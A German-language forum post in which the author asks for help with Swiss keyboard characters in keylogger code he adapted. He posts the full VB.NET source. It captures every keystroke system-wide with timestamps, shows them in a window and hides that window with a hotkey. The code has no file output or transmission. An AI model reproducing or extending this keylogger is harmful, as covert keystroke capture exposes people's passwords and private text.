HoHoHo Leute 
Bitte lesen vor dem Urteilen, danke
Erstmal nein, ich will niemanden damit ausspionieren und das kann das Programm auch nicht wenn ihr euch den Code anschaut. Die Daten bleiben auf der Platte und werden noch nicht mal in eine Datei geschrieben.
Ich habe ein kleines Problem.. Ich habe mir den Code eines Keyloggers gezogen und ihn umgeschrieben und auf das nötigste minimiert. Er war auch mit dem US-Tastaturlayout geschrieben und ich arbeite mit dem CH-Tastaturlayout:
Nun bereiten mir aber die folgenden Zeichen Probleme ' ? ^`ö é ä à $ £ < >
Wie um Himmelswillen krieg ich das hin... Kann sich das jemand mal anschauen?
Keyvalue von ' wäre zum Beispiel 219 aber das klappt nicht..
Auf der Form braucht man eine RichTextbox "txtOutput" und die Form heisst "frmKeylogger".
LG und danke
Luca

Bitte lesen vor dem Urteilen, danke

Erstmal nein, ich will niemanden damit ausspionieren und das kann das Programm auch nicht wenn ihr euch den Code anschaut. Die Daten bleiben auf der Platte und werden noch nicht mal in eine Datei geschrieben.
Ich habe ein kleines Problem.. Ich habe mir den Code eines Keyloggers gezogen und ihn umgeschrieben und auf das nötigste minimiert. Er war auch mit dem US-Tastaturlayout geschrieben und ich arbeite mit dem CH-Tastaturlayout:

Code:
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.IO
Imports System.ComponentModel
Public Class frmKeylogger
' declarations
Dim buffer As New List(Of String)
Dim buffercat As String
Dim stagingpoint As String
Dim actual As String
Dim initlog As Boolean = False
' threading
Public thread_scan As Thread
Public thread_hide As Thread
' thread-safe calling for thread_hide
Delegate Sub Change()
Dim objchange As New Change(AddressOf DoHide)
Private Sub frmKeyRogger_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Text = "Keylogger"
'initiate hide thread
thread_hide = New Thread(AddressOf HideIt)
thread_hide.IsBackground = True
thread_hide.Start()
StartLogging()
End Sub
' write out keystroke log to file on close event
Private Sub frmKeyLogger_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
StopLogging()
End Sub
' getkey, API call to USER32.DLL
<DllImport("USER32.DLL", EntryPoint:="GetAsyncKeyState", SetLastError:=True,
CharSet:=CharSet.Unicode, ExactSpelling:=True,
CallingConvention:=CallingConvention.StdCall)>
Public Shared Function getkey(ByVal Vkey As Integer) As Boolean
End Function
Private Sub StartLogging()
thread_scan = New Thread(AddressOf Scan)
thread_scan.IsBackground = True
thread_scan.Start()
End Sub
' checks for keypresses with delay, upon detection of pressed key, calls AddToBuffer
Public Sub Scan()
Dim foo As Integer
While 1
For foo = 1 To 93 Step 1
If getkey(foo) Then
AddtoBuffer(foo, getkey(16))
End If
Next
For foo = 186 To 192 Step 1
If getkey(foo) Then
AddtoBuffer(foo, getkey(16))
End If
Next
BufferToOutput()
buffer.Clear()
Thread.Sleep(120)
SetText(stagingpoint)
End While
End Sub
' parses keycode and saves to buffer to be written
Public Sub AddtoBuffer(ByVal foo As Integer, ByVal modifier As Boolean)
If Not (foo = 219 Or foo = 1 Or foo = 2 Or foo = 8 Or foo = 9 Or foo = 13 Or (foo >= 17 And foo <= 20) Or foo = 27 Or (foo >= 32 And foo <= 40) Or (foo >= 44 And foo <= 57) Or (foo >= 65 And foo <= 93) Or (foo >= 186 And foo <= 192)) Then
Exit Sub
End If
Select Case foo
Case 48 To 57
If modifier Then
Select Case foo
Case 48
actual = "=" 'ok
Case 49
actual = "+" 'ok
Case 50
actual = """" 'ok
Case 51
actual = "*" 'ok
Case 52
actual = "ç" 'ok
Case 53
actual = "%" 'ok
Case 54
actual = "&" 'ok
Case 55
actual = "/" 'ok
Case 56
actual = "(" 'ok
Case 57
actual = ")" 'ok
End Select
Else
actual = Convert.ToChar(foo)
End If
Case 65 To 90
If modifier Then
actual = Convert.ToChar(foo)
Else
actual = Convert.ToChar(foo + 32)
End If
Case 1
actual = "<LCLICK>" 'ok
Case 2
actual = "<RCLICK>" 'ok
Case 8
actual = "<BACKSPACE>" 'ok
Case 9
actual = "<TAB>"
Case 13
actual = "<ENTER>" 'ok
Case 17
actual = "<CTRL>" 'ok
Case 18
actual = "<ALT>" 'ok
Case 19
actual = "<PAUSE>" 'ok
Case 20
actual = "<CAPSLOCK>" 'ok
Case 27
actual = "<ESC>" 'ok
Case 32
actual = " " 'ok
Case 33
actual = "<PAGEUP>" 'ok
Case 34
actual = "<PAGEDOWN>" 'ok
Case 35
actual = "<END>" 'ok
Case 36
actual = "<HOME>" 'ok
Case 37
actual = "<LEFT>" 'ok
Case 38
actual = "<UP>" 'ok
Case 39
actual = "<RIGHT>" 'ok
Case 40
actual = "<DOWN>" 'ok
Case 44
actual = "<PRNTSCRN>" 'ok
Case 45
actual = "<INSERT>" 'ok
Case 46
actual = "<DEL>" 'ok
Case 47
actual = "<HELP>"
Case 186
If modifier Then
actual = "è" 'ok
Else
actual = "ü" 'ok
End If
Case 219
If modifier Then
actual = "?"
Else
actual = "'"
End If
Case 188
If modifier Then
actual = ";" 'ok
Else
actual = "," 'ok
End If
Case 189
If modifier Then
actual = "_" 'ok
Else
actual = "-" 'ok
End If
Case 190
If modifier Then
actual = ":" 'ok
Else
actual = "." 'ok
End If
Case 191
If modifier Then
actual = "°" 'ok
Else
actual = "§" 'ok
End If
Case 192
If modifier Then
actual = "!" 'ok
Else
actual = "¨" 'ok
End If
End Select
If buffer.Count <> 0 Then
Dim bar As Integer = 0
While bar < buffer.Count
If buffer(bar) = actual Then
Exit Sub
End If
bar += 1
End While
End If
Dim time As String = Date.Now.Hour.ToString & ":" & Date.Now.Minute.ToString & ":" & Date.Now.Second.ToString & ":" & Date.Now.Millisecond.ToString & " "
buffer.Add(time & actual & vbNewLine)
End Sub
' writes buffer to output box
Public Sub BufferToOutput()
If buffer.Count <> 0 Then
Dim qux As Integer = 0
While qux < buffer.Count
buffercat = buffercat & buffer(qux)
qux += 1
End While
'SetText(txtOutput.Text & buffercat)
stagingpoint = stagingpoint & buffercat
buffercat = String.Empty
End If
End Sub
Delegate Sub SetTextCallback(ByVal [text] As String)
' thread safe call to output text to output box
Private Sub SetText(ByVal [text] As String)
If txtOutput.InvokeRequired Then
Dim d As New SetTextCallback(AddressOf SetText)
Me.Invoke(d, New Object() {[text]})
Else
txtOutput.Text = [text]
End If
End Sub
Private Sub StopLogging()
thread_scan.Abort()
buffer.Clear()
End Sub
Private Sub frmKeyRogger_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Hide()
End If
End Sub
' ctrl+shift+s toggles hide form
Public Sub HideIt()
While 1
If getkey(17) And getkey(160) And getkey(83) Then
Me.Invoke(objchange)
End If
Thread.Sleep(200)
End While
End Sub
Public Sub DoHide()
If Me.Visible = True Then
Me.Visible = False
Else
Me.Visible = True
End If
End Sub
End Class
Wie um Himmelswillen krieg ich das hin... Kann sich das jemand mal anschauen?
Keyvalue von ' wäre zum Beispiel 219 aber das klappt nicht..
Auf der Form braucht man eine RichTextbox "txtOutput" und die Form heisst "frmKeylogger".
LG und danke
Luca
Zuletzt bearbeitet: